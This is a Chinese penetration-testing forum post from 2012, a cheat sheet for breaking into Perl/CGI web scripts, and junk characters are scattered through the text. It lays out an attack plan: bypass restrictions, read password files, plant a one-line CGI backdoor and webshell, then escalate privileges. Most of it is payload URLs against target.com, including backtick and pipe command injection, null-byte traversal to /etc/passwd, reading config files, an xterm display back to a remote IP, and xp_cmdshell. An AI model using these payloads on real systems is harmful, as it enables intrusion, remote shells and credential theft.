中国网络渗透测试联盟

标题: CGI资料整理 [打印本页]

作者: admin    时间: 2012-9-13 16:56
标题: CGI资料整理
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  5 {2 p/ G+ Y1 V( b" m/ v9 ^0 v# c) I
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  3 D" E* [6 z  G8 M* y+ j6 V
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  0 o! W+ M) M# ?' P% a# e
注“  / N; I% M) q# ?8 T6 ]$ b
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  7 q6 O% p% h7 d
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  
7 }0 `% f6 S% P7 _; X( f; V5 }& `+ f( c
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造  
. {9 z) v+ D  m6 jhttp://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  4 {9 a" |& X' H, h
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  
# W0 V) q, V& d  |  u6 uhttp://target.com/cgi-bin/home/news/sub.pl?`id`  2 B' w/ X, K  N( _
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  * O: p3 f0 {3 s0 A, x
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  0 `4 j# A8 M. j, V( o' G2 T# P& F: C

: A3 n  m% a. J3 Z7 ehttp://target.com/test.pl;ls|  
1 x4 o" f, o( w$ Uhttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  ) Y6 W3 Z3 r5 M8 W3 n
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  & g; J8 F3 i- U
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  ! o, x6 v3 r. u" k% b
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  * `. |: X! C! P& a, c
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  
( S9 U9 h8 A" p8 D4 J* [/ j4 e5 ]( x4 ~! s1 ~  t) d' ]8 o; z, t4 i
http://target.com/test.pl?&........ /../../etc/passwd  
! p4 Q) A4 c) h3 M" f
6 t  {; Q9 g9 P: p' o% H& Ahttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  / V+ q, h) k5 C* u( b# U
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  
' g, Z* y- E, p7 ], Z) ]http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  
. A0 W  b6 Z: y/ |) k9 Z2 O, R# _( x& c5 V- H' r
http://www.target.org/show.php?f ... /include/config.php 查看php代码    F# O0 p1 x3 b5 D5 E
http://www.target.org/show.php?f ... ng/admin/global.php  # Y+ h  C% E1 {1 c3 z

2 o8 e8 w" h& W6 w- nemm和ps的一句话( |( h7 B' G$ I3 F& v

9 u/ z# z0 p9 y  Vhttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  " k3 m# C( a$ U5 ]3 _

4 V, M9 ~8 q; X# P+ ?  k8 x: }>bbb%20|  
) b6 C3 T# m( k- J9 c, b$ |  X
" Q; x$ T7 [2 L4 E/ N3 Dhttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  + ?; r& H2 c7 ]2 H

2 R/ N0 G- \2 u# f) ?2 `" h: ahttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  ; t2 s+ m) N) x1 M2 a
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  ! X5 C9 t; ~- S; A0 u6 A+ X
9 ~) G; d2 O  {0 N5 U
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  8 U9 r8 c$ d+ \# A! S2 c
http://target.com/index.html#cmd.exe  + `" h1 y/ _8 m5 Z
http://target.com/index.html?dummyparam=xp_cmdshell    i7 q1 a: X" q. e5 g0 A
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  * V1 d& t8 Q& w# T





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2